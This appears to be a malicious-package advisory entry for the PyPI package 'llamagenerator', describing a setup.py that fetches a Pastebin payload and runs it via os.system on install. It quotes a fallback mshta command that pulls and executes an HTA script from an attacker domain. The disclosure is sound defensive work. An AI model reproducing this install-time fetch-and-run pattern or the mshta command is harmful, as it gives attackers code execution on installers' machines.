llamagenerator

Details

---
_-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (2e72d70dd6ee72468c56f2a334414bd1fa8f5ad1e70fea0d89c08f7d1c8ca557)
The package's setup.py fetches the raw contents of https://pastebin.com/raw/yBcUM1QB during pip install, takes the first line, and passes it directly to os.system('cmd /c "..."'). If the Pastebin fetch fails, it falls back to os.system('cmd /c "mshta http://fixars.top"'), invoking the Windows mshta living-off-the-land binary to download and execute an HTA script from an attacker-controlled domain over plaintext HTTP. Both branches grant the publisher arbitrary code execution on the installer's machine on `pip install`. The package has no legitimate functionality: PKG-INFO has placeholder metadata (Name/Author/Summary all set to 'LLamaGenerator', no description, no URL), and the src/ tree is empty aside from egg-info. The LLM-themed name appears to be a lure trading on the Llama ecosystem.

## Source: kam193 (562e670a58a323403ac8e91b672e93442b78cc231515a4cc579e17d917a75e68)
During installation, the code attempts to download and start a malicious executable.

Likely related to 2025-08-raknet-testing-package.


---

Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.


Campaign: 2026-06-easyaillm


Reasons (based on the campaign):


 - Downloads and executes a remote executable.


 - obfuscation


 - malware


 - tool:mshta

Compromised versions (1)

• 2.22

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.